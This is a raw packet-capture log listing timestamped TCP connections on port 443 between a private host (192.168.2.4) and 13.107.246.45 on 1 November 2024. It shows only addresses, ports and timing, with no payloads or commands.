Nov 1, 2024 03:46:28.358952999 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.362445116 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.362502098 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.362581968 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.362776041 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.362793922 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.407454014 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.407902002 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.407952070 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.408335924 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.408349037 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.538374901 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.539392948 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.539462090 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.539526939 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.539577007 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.539591074 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.539608002 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.542301893 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.542330980 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.542399883 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.542581081 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.542593956 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.648570061 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.653148890 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.653175116 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.653616905 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.653623104 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.781510115 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.781538010 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.781573057 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.781644106 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.781696081 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.781965017 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.781979084 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.781989098 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.781992912 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.784728050 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.784763098 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:28.784862995 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.785105944 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:28.785120010 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.041450024 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.044703960 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.044739962 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.045173883 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.045186043 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.059664011 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.060055971 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.060071945 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.060637951 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.060645103 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.095627069 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.096398115 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.096426010 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.097114086 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.097125053 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.169383049 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.169450998 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.169523001 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.169729948 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.169760942 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.169805050 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.169817924 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.172581911 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.172614098 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.172691107 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.172825098 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.172837973 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.186925888 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.186964989 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.187011957 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.187019110 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.187060118 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.187278032 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.187278032 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.187297106 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.187306881 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.189542055 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.189562082 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.189634085 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.189770937 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.189779043 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.226623058 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.226675987 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.226747990 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.226913929 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.226927042 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.226938963 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.226943970 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.229243040 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.229300022 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.229439974 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.229577065 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.229602098 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.278183937 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.278841972 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.278860092 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.279488087 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.279491901 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.406780958 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.407174110 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.407238960 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.407327890 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.407329082 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.407346010 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.407355070 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.410232067 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.410265923 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.410542965 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.410713911 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.410721064 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.519421101 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.519840002 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.519854069 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.520368099 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.520374060 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.650419950 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.650509119 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.650578022 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.652681112 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.652695894 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.652707100 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.652712107 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.656222105 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.656265020 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.656332970 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.656502008 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.656514883 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.908499956 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.908993959 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.909019947 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.909488916 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.909492970 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.935112000 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.935446978 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.935467958 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.935894012 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:29.935900927 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:29.993083954 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.009931087 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.009987116 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.010467052 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.010482073 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.038330078 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.038399935 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.038461924 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.038634062 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.038647890 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.038677931 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.038683891 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.041254044 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.041276932 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.041390896 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.041532993 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.041543961 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.063127995 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.063344955 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.063404083 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.063431025 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.063447952 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.063457966 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.063462973 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.065553904 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.065593958 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.065746069 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.065877914 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.065893888 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.135766029 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.136210918 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.136223078 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.136687040 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.136692047 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.137902975 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.137936115 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.137985945 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.137995005 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.138008118 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.138062000 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.138220072 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.138231039 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.138240099 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.138245106 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.140577078 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.140598059 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.140783072 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.140922070 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.140933990 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.270399094 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.270463943 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.270529032 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.270731926 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.270746946 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.270756960 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.270761967 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.273824930 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.273847103 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.273998976 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.274425030 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.274439096 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.378489017 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.379127979 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.379159927 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.379600048 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.379626989 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.506593943 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.506776094 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.506822109 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.506863117 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.506901026 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.507566929 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.507600069 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.507627010 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.507641077 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.510113001 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.510158062 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.510358095 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.510554075 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.510569096 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.771719933 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.772433996 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.772460938 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.773127079 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.773133039 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.802033901 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.802354097 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.802366972 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.802751064 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.802756071 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.859554052 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.860141039 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.860155106 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.860563993 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.860568047 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.901479006 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.901555061 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.901617050 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.901776075 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.901791096 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.901799917 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.901806116 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.904782057 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.904819012 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.904917002 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.905067921 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.905087948 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.934376955 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.934411049 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.934462070 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.934468031 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.934506893 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.934698105 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.934714079 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.934735060 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.934740067 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.937299013 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.937330008 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.937427044 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.937566042 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.937577009 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.987073898 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.987154961 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.987221003 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.987371922 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.987387896 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.987396955 CET	49942	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.987401962 CET	443	49942	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.989914894 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.989948034 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:30.990015984 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.990153074 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:30.990165949 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.013217926 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.013622046 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.013638973 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.014072895 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.014077902 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.152004004 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.152033091 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.152081013 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.152086020 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.152141094 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.152457952 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.152471066 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.152481079 CET	49943	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.152484894 CET	443	49943	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.155219078 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.155256033 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.155337095 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.155517101 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.155522108 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.243391037 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.243813992 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.243829966 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.244380951 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.244385958 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.374964952 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.375022888 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.375073910 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.375389099 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.375406027 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.375416040 CET	49944	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.375421047 CET	443	49944	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.379565954 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.379595041 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.379682064 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.379842043 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.379862070 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.650338888 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.650850058 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.650862932 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.651334047 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.651338100 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.676606894 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.677316904 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.677346945 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.678215027 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.678220987 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.729204893 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.729701996 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.729712963 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.730267048 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.730272055 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.787221909 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.787247896 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.787328005 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.787331104 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.787425041 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.787620068 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.787642002 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.787652016 CET	49945	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.787657976 CET	443	49945	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.790539980 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.790576935 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.790688038 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.790851116 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.790863991 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.814568043 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.814598083 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.814649105 CET	49946	443	192.168.2.4	13.107.246.45
